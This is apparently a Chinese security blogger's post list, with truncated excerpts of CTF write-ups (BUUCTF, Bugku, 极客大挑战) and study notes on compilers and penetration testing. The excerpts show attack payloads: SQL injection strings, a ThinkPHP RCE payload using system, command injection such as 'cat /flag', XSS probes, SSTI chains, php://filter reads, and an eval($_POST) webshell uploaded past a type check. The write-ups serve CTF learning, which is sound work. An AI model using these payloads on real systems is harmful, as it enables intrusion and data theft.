- 博客(61)
- 收藏
- 关注
原创 编译原理(龙书)学习笔记 第一章
编译原理(龙书)学习笔记 第一章1.1语言处理器解释器(interpreter) :编译器(compiler):一个语言处理系统1.1练习1.1.1:编译器和解释器之间的区别1.1.2:相对优点1.1.3:编译器产生汇编而不是机器语言的好处是什么?1.1.4:编译器使用C语言作为目标语言的好处1.1.5:汇编器要完成的任务1.1语言处理器解释器(interpreter) :不通过翻译的方式生成目标程序,从用户的角度来看,解释器利用用户提供的输入执行源程序中指定的操作他对于错误的诊断效果比编译器更好,
2021-05-07 20:18:28
787
原创 2021-5-5 buu刷题记录
生活所迫,从头捡回来第一题:CTF-BUUCTF-[HCTF 2018]WarmUpphp代码审计题四个if判断 只有最后一个走得通,就是把第二个?进行2次url加密然后得到%253f 然后构造payload:file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg这样flag就出来了第二题:[极客大挑战 2019]EasySQL万能密码直接出第三题[强网杯 2019]随便注堆叠注入 很早之前写过的题了
2021-05-05 21:56:03
472
2
原创 渗透测试方法论
渗透测试:1:黑盒测试:在不清楚北侧单位的内部技术构造的情况下,从外部评估网络基础设施的安全性。在渗透测试的各个阶段,黑盒测试借助真实世界的黑客技术,暴露出目标的安全弱点。将之分类排序(低,中,高)。风险级别取决于相关弱点的危害大小。完成之后进行信息整理。2:白盒测试:可以获取被测单位的各种内部资料甚至不公开资料,所以渗透测试人员的视野更为开阔,可以以最小的工作量达到最高的评估精准度。白盒测试从被测系统还击自身出发全面消除内部安全问题。从而增加了从单位外部渗透系统的难度,黑盒测试起不到这样的作用。白
2020-10-28 18:42:01
446
2
原创 [BJDCTF 2nd]old-hack_thinkphp漏洞
[BJDCTF 2nd]old-hack_thinkphp5漏洞进入页面提示是thinkphp,先构造一个报错然后看到版本为THINK_VERSION5.0.23然后百度查询漏洞:payload:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /POST提交尝试一下,发现可行,然后就cat /flag...
2020-10-23 12:31:12
257
原创 [MRCTF2020]Ez_bypass(PHP代码审计)
[MRCTF2020]Ez_bypass(PHP代码审计)访问页面,查看源代码有格式排好了的php代码:<?phpI put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; i
2020-10-22 21:07:05
358
原创 [BUUCTF 2018]Online Tool
[BUUCTF 2018]Online Tool这题PHP代码审计,先放源码:<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host'
2020-10-22 19:51:39
139
原创 [GYCTF2020]Blacklist
[GYCTF2020]Blacklist先打开url 题目名字黑名单:尝试正常注入流程发现有过滤提示set|prepare|alter|rename|select|update|delete|drop|insert|where看到界面和过滤信息感觉很像2019年强网杯一道题好像是叫随便注;我做题时先用报错注入爆除了库名supersqli1'or(extractvalue(1,concat(0x7e,database())))#后来尝试堆叠注入做题:-1';use supersqli;sh
2020-10-22 15:32:34
362
原创 buku---PHP代码审计—ereg正则%00截断
buku—PHP代码审计—ereg正则%00截断<?php$flag = "xxx";if (isset ($_GET['password'])){if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo 'You password must be alphanumeric';}else if (strlen($_GET['password']) < 8 && $_GET['passwo
2020-10-21 21:34:59
261
原创 bugku__PHP代码审计-十六进制与数字比较
bugku__PHP代码审计-十六进制与数字比较<?phperror_reporting(0);function noother_says_correct($temp){$flag = 'flag{test}';$one = ord('1'); //ord — 返回字符的 ASCII 码值$nine = ord('9'); //ord — 返回字符的 ASCII 码值$number = '3735929054';// Check all the input characters!f
2020-10-21 21:31:43
205
原创 bugku_PHP代码审计—md5加密相等绕过
bugku_PHP代码审计—md5加密相等绕过<?php$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) {echo "flag{*}";} else {echo "false!!!";}}else{echo "please input a";}?>双等号比较绕过:QNKCDZO
2020-10-21 21:13:31
368
原创 bugku--PHP代码审计-sha()函数比较绕过
bugku–PHP代码审计-sha()函数比较绕过<?php$flag = "flag";if (isset($_GET['name']) and isset($_GET['password'])){var_dump($_GET['name']);echo "";var_dump($_GET['password']);var_dump(sha1($_GET['name']));var_dump(sha1($_GET['password']));if ($_GET['name']
2020-10-21 21:07:04
314
原创 弱类型整数大小比较绕过
弱类型整数大小比较绕过$temp = $_GET['password'];is_numeric($temp)?die("no numeric"):NULL;if($temp>1336){echo $flag;很多种方法可以做数组绕过,%00截断,添加字符绕过payload:?password[]=1?password=9999a?password=9999%00...
2020-10-21 21:01:37
297
原创 bugku——PHP代码审计——数组返回NULL绕过
bugku——PHP代码审计——数组返回NULL绕过<?php$flag = "flag";if (isset ($_GET['password'])) {if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)echo 'You password must be alphanumeric';else if (strpos ($_GET['password'], '--') !== FALSE)die('Flag: ' . $f
2020-10-21 20:56:04
231
原创 Bugku—PHP代码审计—md5函数
Bugku—PHP代码审计—md5函数<?phperror_reporting(0);$flag = 'flag{test}';if (isset($_GET['username']) and isset($_GET['password'])) {if ($_GET['username'] == $_GET['password'])print 'Your password can not be your username.';else if (md5($_GET['username'])
2020-10-21 20:51:20
400
原创 bugku---PHP代码审计--urldecode二次编码绕过
bugku—PHP代码审计–urldecode二次编码绕过<?phpif(eregi("hackerDJ",$_GET[id])) {echo("not allowed!");exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "hackerDJ"){echo "Access granted!";echo "flag";}?>直接url二次编码;payload:?id=%2568ack
2020-10-21 20:40:44
262
原创 Bugku—PHP代码审计——strcmp比较字符串
Bugku—PHP代码审计——strcmp比较字符串<?php$flag = "flag{xxxxx}";if (isset($_GET['a'])) {if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)die('Flag: '.$flag);elseprint 'No';}?>strcmp
2020-10-21 20:35:56
229
原创 BugKuCTF——PHP代码审计-extract变量覆盖
BugKuCTF——代码审计–extract变量覆盖<?php$flag='xxx';extract($_GET);if(isset($shiyan)){$content=trim(file_get_contents($flag));if($shiyan==$content){echo'flag{xxx}';}else{echo'Oh.no';}}?>漏洞:extract()函数在传入数值的时候把已有的的值替换掉,所以直接goujianpayload:?sh
2020-10-21 20:32:24
392
原创 XSS挑战1-10关
首先本次做题使用的XSS测试过滤payload为:<img src="avc"><a href="www"><script 'on>第一题:直接payload<script>alert(1)</script>第二题:查看源代码发现加了引号,直接绕过。"><script>alert(1)</script><"第三题:源代码:<input name=keyword value='&
2020-10-18 03:40:05
356
原创 [极客大挑战 2019]hardSQL
拿到题目直接模糊测试发现过滤的挺多:什么and,union,=,都过滤掉了然后看了下正常输入的页面回显之后尝试:报错注入1'or(extractvalue(1,concat(0x7e,database())))#得到库名:geek'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like("geek")))))#得到:表名H4rDsq1;'
2020-10-14 23:32:10
284
原创 [RoarCTF 2019]Easy Java
[RoarCTF 2019]Easy Java-----Kuller_Yan拿到题目,看到是登录框,习惯性sql注入半天。。啥也没有,help也没看懂。。没办法只能看wp了解到WEB-INF是通过找到web.xml文件,推断class文件的路径然后直接class文件,在通过反编译class文件,得到网站源码。然后就是抓包,GET改成POST访问WEB-INF得到flag路径路径访问,得到flag的base64编码解码得到flag...
2020-09-13 21:02:50
229
原创 [网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz----Kuller_Yan好久没写博客了,真是罪过啊!!今天WAXZ的师傅们去打线下了,太顶了,激起学习欲望,好好学习咯。这题PHP代码审计:反序列化问题<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content;
2020-09-13 19:08:42
273
原创 sql-labs 1-4关(联合查询)
less-1:id=1’ or 1=1 --+;判断是否有注入select * from users order by 1 :对字段里面第一列进行排序select * from users order by 2 :对字段里面第二列进行排序select * from users order by 3 :对字段里面第三列进行排序id=1’ order by 1 --+ ;然后依次测试2,3,4,以测试数据库列数id=-1’ union select 1,2,3 --+ 测试可以回显的列数位置
2020-06-27 10:01:11
308
原创 文件包含漏洞
文件包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。漏洞成因:在通过动态包含的方式引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露甚至恶意的代码注入文件包含常用函数:include()include_once()require()require_once()fopen()readfile()区别: 1:include和require
2020-06-25 23:34:37
230
原创 第五天-XSS
javascript代码块:(大小写敏感,忽略多余空格,反斜杠对代码行进行换行)JavaScript 语句通过代码块的形式进行组合,块由左花括号开始,由右花括号结束,块的作用是使语句序列一起执行。JavaScript函数是将语句组合在块中的典型例子。如操作两个HTML元素的函数:XSS基本原理:XSS攻击,通常是指恶意攻击者往Web页面里插入恶意的html代码,当用户浏览该页之时,嵌入Web里面的html代码会被执行,从而达到恶意攻击用户的目的。危害:1.网络钓鱼,盗取各类用户的账号。2.
2020-06-19 20:54:08
171
原创 第四天 文件上传漏洞
from Kuller_YanWeb应用程序在处理用户上传的文件操作时,如果用户上传文件的路径、文件名、扩展名成为用户可控数据,就会导致直接上传脚本木马到web服务器上,直接控制web服务器。原因:1:文件上传时检查不严,或者仅仅在客户端进行检查(任何基于前端的过滤都是不安全的)2:修改文件名时处理不当3:使用第三方插件引用常见安全问题:(1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。(2)上传文件是Flash的策略文件crossdomain
2020-06-16 12:03:31
427
原创 [极客大挑战 2019]Upload
[极客大挑战 2019]Uploadwp from Kuller_Yan一道很简单的文件上传漏洞:打开靶机看到很直观的页面让我们上传。随便上传一个一句话木马,发现看来type必须是图片,那我们构建一个phtml文件GIF89a<script language="php">eval($_POST['123']);</script>在上传的时候抓包,更改类型;image/jpeg然后盲猜url为/upload访问http://29f56e21-5b5a-4212-
2020-06-14 15:20:06
758
原创 [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake googlewp from Kuller_Yan先打开靶机:测试是否存在ssti注入{{1+1}}进行查询{{''.__class__}}next{{''.__class__.__bases__}}next:{{''.__class__.__bases__[0].__subclasses__()}}找到第169个{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['
2020-06-13 17:01:02
365
原创 对于python沙箱逃逸和ssti注入的一点笔记
from Kuller_YanPython沙箱: 是网站在提供在线python脚本执行,而有不想用户直接使用python执行系统命令对系统造成危害,而对Python的一个阉割版本,被阉割的版本删去了命令执行,服务器文件读写等相关函数和文件。沙箱逃逸思路: 1:实现目的最终想法: ·使用OS包中的popen,system两个函数来执行shell ·使用commands模块中的方法 ·使用subprocess ·使用写文件到指定位置,再使用其他辅助手段 import os
2020-06-13 16:58:26
459
原创 第三天
1:找出注入点,判断是否存在:例如用:and 1=1和and 1=2;两次回显与否判断2:判断表中字段数:order by (二分法猜测)3:union 联合查询先把之前的数据输入为不显示状态(加负号),输入一系列数字,判断出哪些位置可以回显。version()当前系统信息database()库名user()使用者load——file("/etc/password")–>存储了用户信息,权限之类的用sqlmap注入-u url?id=1 -p “id”(指定参数) y/
2020-06-12 21:12:17
185
原创 [极客大挑战 2019]BuyFlag
[极客大挑战 2019]BuyFlagwp from Kuller_Yan打开靶机,点击右上角菜单,payflag然后就发现跳转到pay.php查看源代码并且,页面提示先burp抓包:发现Cookie: user=0把user改为1;然后根据源代码的代码,post提交password=404%2500叫我们付钱。。怎么可能给呢,直接money=100000000太长了。。。科学计数法吧。搞定也可以这样...
2020-06-07 16:40:03
175
原创 [极客大挑战 2019]BabySQL
[极客大挑战 2019]BabySQLwp from Kuller_Yan打开靶机,熟悉的极客大挑战界面先尝试万能密码1' or 1=1 # 显示ERROER但是仔细观察报错语句,似乎没有看到or猜测后端使用replace()函数过滤,尝试双写or:1' oorr 1=1 #正常回显,看来我们猜测的不错。然后测试字段数:1' order by 3 #;ERROR ,尴尬,忘记了order里面也有or,而且by也被过滤了,所以双写:1' oorrder bbyy 3 #,回显正常,试下4:1'
2020-06-07 14:41:11
514
原创 [ACTF2020 新生赛]Exec
[ACTF2020 新生赛]Execwp from Kuller_Yan打开靶机,输入127.0.0.1尝试提交发现直接出现,无过滤。之间尝试管道符执行命令:127.0.0.1;cat /flag也没啥好说的,什么都没过滤就直接执行命令就好;常见管道符1、|(就是按位或),直接执行|后面的语句2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句3、&(就是按位与),&前面和后面命令都要执行,无论前面真假4、&&(就是逻辑
2020-06-06 20:52:25
689
原创 sql笔记
show databass 显示所有数据库show tables 显示当前数据库所有表use db_name(数据库名字);选择某个数据库desc table_name:展示字段信息;select 字段名 from 表名 (也可以写数据库名.表名)create 类 名字段类型有,int,varchar(100)char(10)text double二:数据库操作:增:数据库层面:创建数据库:create database db_name;数据表层面:创建数据表:create tabl
2020-06-06 19:46:36
176
原创 [ACTF2020 新生赛]Include
[ACTF2020 新生赛]Includewp from Kuller_Yan打开靶机发现一个超链接,点击之后出现一段话“Can you find out the flag?”查看源码注入,无果,抓包,无果仔细看url,发现有flag.php判断此题为PHP伪协议题目构建payload?file=php://filter/read=convert.base64-encode/resource=flag.php穿插知识点:php://filter 伪协议该伪协议读取源代码并进行ba
2020-06-06 19:45:05
2538
原创 [极客大挑战 2019]Http
[极客大挑战 2019]Httpwp from Kuller_Yan打开靶机,发现是个广告页面,查看源码发现Sercret.php访问之后,页面提示来源应该是’https://www.Sycsecret.com’简单,打开burp修改数据包就好。先抓包先使用referer,修改网页来源referer:https://www.Sycsecret.com提示,修改浏览器类型,使用User-AgentUser-Agent:Syclover browser花里胡哨的又让我们改成本地,继
2020-06-02 16:36:26
325
原创 [极客大挑战 2019]Knife
[极客大挑战 2019]Knifewp from Kuller_Yan一进来,页面很直接,暗示我们用菜刀(当然我用的蚁剑也是一样的),并且告诉我们密码是Syc。打开蚁剑,链接shell查看目录,发现flag,打开就好。
2020-06-02 16:15:12
1540
原创 [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret Filewp from Kuller_Yan打开靶机 成功开启”大黑贼时代",查看源代码发现php,直接点击跳转发现一个“secret”按钮,点击告诉我们已经出现了,我们没看到,那么就自然抓包,在burp看,发现secr3t.php访问发现一段php代码并且告诉我们flag在flag.php,进行代码审计发现可以直接使用file伪协议,然后得到一段base64编码,解码就是flag。http://68049c7d-101d-46bc-8cb7-615551
2020-05-30 23:14:37
421
原创 [HCTF 2018]admin
[HCTF 2018]adminwp from Kuller_Yan又是一道签到题打开靶机 发现一个超链接,点击之后也没出现什么东西,就是个自己写的404,然后点击404也跳不出去查看源代码发现提醒然后仔细看下网页发现了一个菜单图标然后点击登录,用万能密码登录,直接拿到flag...
2020-05-30 22:21:41
525
原创 [极客大挑战 2019]Havefun
[极客大挑战 2019]Havefunwp from Kuller_Yan很没意思的一道题,打开靶机就是只猫,查看源代码发现一个注释就是解题关键,看完代码直接get提交cat=dog就出flag了http://b7755db2-8228-4f09-b5b5-7702078d2a02.node3.buuoj.cn/?cat=dog签到题,没啥好说的...
2020-05-30 22:13:39
319
原创 [RoarCTF 2019]Easy Calc
[RoarCTF 2019]Easy Calcwp from Kuller_Yanwaf和php的解码规则不同,waf不能上传字母,但是如果在前面加上空格,就可以进行绕过,然后再php解码的时候空格不影响。首先启动靶机,查看到页面,尝试sql注入无果,观看源代码,发现calc.php访问之后出现一段php代码可以看到黑名单过滤了一些字符,其中与本题相关的比较重要的就是过滤了‘/’但是我们可以用ASCII码的chr(47)代替。先使用scandir(chr(47))查询目录下所有文件num前面加
2020-05-30 22:02:11
244
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人